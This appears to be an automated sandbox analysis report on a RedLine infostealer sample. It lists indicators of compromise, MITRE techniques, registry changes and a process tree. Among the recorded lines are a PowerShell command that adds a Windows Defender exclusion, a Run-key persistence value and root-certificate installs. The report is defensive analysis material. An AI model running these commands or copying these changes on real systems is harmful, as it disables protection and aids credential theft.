redline | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5826997.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5826997.exe

Loads dropped DLL 64 IoCs

pid	Process
1068	setup_x86_x64_install.exe
1848	setup_installer.exe
1848	setup_installer.exe
1848	setup_installer.exe
1848	setup_installer.exe
1848	setup_installer.exe
1848	setup_installer.exe
1692	setup_install.exe
1692	setup_install.exe
1692	setup_install.exe
1692	setup_install.exe
1692	setup_install.exe
1692	setup_install.exe
1692	setup_install.exe
1692	setup_install.exe
1708	cmd.exe
1484	cmd.exe
596	cmd.exe
596	cmd.exe
924	cmd.exe
924	cmd.exe
1556	cmd.exe
1568	Tue11d7385a978cc.exe
1568	Tue11d7385a978cc.exe
1700	cmd.exe
1700	cmd.exe
1764	Tue1109eec571ac.exe
1764	Tue1109eec571ac.exe
1720	cmd.exe
1808	Tue11b9d76a96506.exe
1808	Tue11b9d76a96506.exe
1104	cmd.exe
1104	cmd.exe
1152	Tue11bc0507b56295.exe
1152	Tue11bc0507b56295.exe
1808	Tue11b9d76a96506.exe
1788	cmd.exe
2016	Tue11e4e580f2e8141a3.exe
2016	Tue11e4e580f2e8141a3.exe
1828	Tue112c483dd3245d.exe
1828	Tue112c483dd3245d.exe
1528	Tue11b9d76a96506.tmp
1528	Tue11b9d76a96506.tmp
1528	Tue11b9d76a96506.tmp
1212	Tue118f55232e4.exe
1212	Tue118f55232e4.exe
2016	Tue11e4e580f2e8141a3.exe
2480	LzmwAqmV.exe
2480	LzmwAqmV.exe
1528	Tue11b9d76a96506.tmp
2480	LzmwAqmV.exe
2480	LzmwAqmV.exe
2480	LzmwAqmV.exe
2480	LzmwAqmV.exe
2700	Alfanewfile2.exe
2700	Alfanewfile2.exe
2480	LzmwAqmV.exe
2480	LzmwAqmV.exe
2016	Tue11e4e580f2e8141a3.exe
2388	Tue11e4e580f2e8141a3.exe
2388	Tue11e4e580f2e8141a3.exe
2988	4274950.exe
2988	4274950.exe
2480	Tue11e4e580f2e8141a3.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4274950.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5826997.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
59	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
924	5826997.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2016 set thread context of 2388	2016	Tue11e4e580f2e8141a3.exe	56
PID 2016 set thread context of 2884	2016	Tue11e4e580f2e8141a3.exe	65

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
1636	2736	WerFault.exe	63
3784	2576	WerFault.exe	59
2920	2112	WerFault.exe	85

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Tue112c483dd3245d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Tue112c483dd3245d.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
972	schtasks.exe
3604	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1812	timeout.exe
3620	timeout.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
3408	taskkill.exe
3760	taskkill.exe
1672	taskkill.exe
3708	taskkill.exe
1492	taskkill.exe
1608	taskkill.exe
2020	taskkill.exe
596	taskkill.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Tue118f55232e4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Tue118f55232e4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Tue112c483dd3245d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue112c483dd3245d.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	60	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1152	Tue11bc0507b56295.exe
1152	Tue11bc0507b56295.exe
1784	powershell.exe
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1828	Tue112c483dd3245d.exe
1828	Tue112c483dd3245d.exe
1828	Tue112c483dd3245d.exe
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1636	WerFault.exe
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1252	Process not Found
1828	Tue112c483dd3245d.exe
1252	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1152	Tue11bc0507b56295.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1212	Tue118f55232e4.exe
Token: SeAssignPrimaryTokenPrivilege	1212	Tue118f55232e4.exe
Token: SeLockMemoryPrivilege	1212	Tue118f55232e4.exe
Token: SeIncreaseQuotaPrivilege	1212	Tue118f55232e4.exe
Token: SeMachineAccountPrivilege	1212	Tue118f55232e4.exe
Token: SeTcbPrivilege	1212	Tue118f55232e4.exe
Token: SeSecurityPrivilege	1212	Tue118f55232e4.exe
Token: SeTakeOwnershipPrivilege	1212	Tue118f55232e4.exe
Token: SeLoadDriverPrivilege	1212	Tue118f55232e4.exe
Token: SeSystemProfilePrivilege	1212	Tue118f55232e4.exe
Token: SeSystemtimePrivilege	1212	Tue118f55232e4.exe
Token: SeProfSingleProcessPrivilege	1212	Tue118f55232e4.exe
Token: SeIncBasePriorityPrivilege	1212	Tue118f55232e4.exe
Token: SeCreatePagefilePrivilege	1212	Tue118f55232e4.exe
Token: SeCreatePermanentPrivilege	1212	Tue118f55232e4.exe
Token: SeBackupPrivilege	1212	Tue118f55232e4.exe
Token: SeRestorePrivilege	1212	Tue118f55232e4.exe
Token: SeShutdownPrivilege	1212	Tue118f55232e4.exe
Token: SeDebugPrivilege	1212	Tue118f55232e4.exe
Token: SeAuditPrivilege	1212	Tue118f55232e4.exe
Token: SeSystemEnvironmentPrivilege	1212	Tue118f55232e4.exe
Token: SeChangeNotifyPrivilege	1212	Tue118f55232e4.exe
Token: SeRemoteShutdownPrivilege	1212	Tue118f55232e4.exe
Token: SeUndockPrivilege	1212	Tue118f55232e4.exe
Token: SeSyncAgentPrivilege	1212	Tue118f55232e4.exe
Token: SeEnableDelegationPrivilege	1212	Tue118f55232e4.exe
Token: SeManageVolumePrivilege	1212	Tue118f55232e4.exe
Token: SeImpersonatePrivilege	1212	Tue118f55232e4.exe
Token: SeCreateGlobalPrivilege	1212	Tue118f55232e4.exe
Token: 31	1212	Tue118f55232e4.exe
Token: 32	1212	Tue118f55232e4.exe
Token: 33	1212	Tue118f55232e4.exe
Token: 34	1212	Tue118f55232e4.exe
Token: 35	1212	Tue118f55232e4.exe
Token: SeDebugPrivilege	1628	Tue11f251db82fb7b.exe
Token: SeDebugPrivilege	1780	Tue11141271fbe5877f.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	2648	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	2576	1442802.exe
Token: SeDebugPrivilege	2736	2.exe
Token: SeShutdownPrivilege	1252	Process not Found
Token: SeDebugPrivilege	1492	taskkill.exe
Token: SeShutdownPrivilege	1252	Process not Found
Token: SeShutdownPrivilege	1252	Process not Found
Token: SeDebugPrivilege	1636	WerFault.exe
Token: SeShutdownPrivilege	1252	Process not Found
Token: SeShutdownPrivilege	1252	Process not Found
Token: SeDebugPrivilege	2112	5559826.exe
Token: SeShutdownPrivilege	1252	Process not Found
Token: SeDebugPrivilege	2852	BearVpn 3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1068 wrote to memory of 1848	1068	setup_x86_x64_install.exe	26
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1848 wrote to memory of 1692	1848	setup_installer.exe	27
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1472	1692	setup_install.exe	32
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1708	1692	setup_install.exe	34
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1556	1692	setup_install.exe	35
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 1484	1692	setup_install.exe	36
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1692 wrote to memory of 596	1692	setup_install.exe	37
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1708 wrote to memory of 1568	1708	cmd.exe	39
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1692 wrote to memory of 924	1692	setup_install.exe	40
PID 1472 wrote to memory of 1784	1472	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1472
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1708
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Loads dropped DLL
      PID:1556
    - - C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1808
      - C:\Users\Admin\AppData\Local\Temp\is-H6LDE.tmp\Tue11b9d76a96506.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-H6LDE.tmp\Tue11b9d76a96506.tmp" /SL5="$80150,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8378DE04\Tue11b9d76a96506.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1528
        
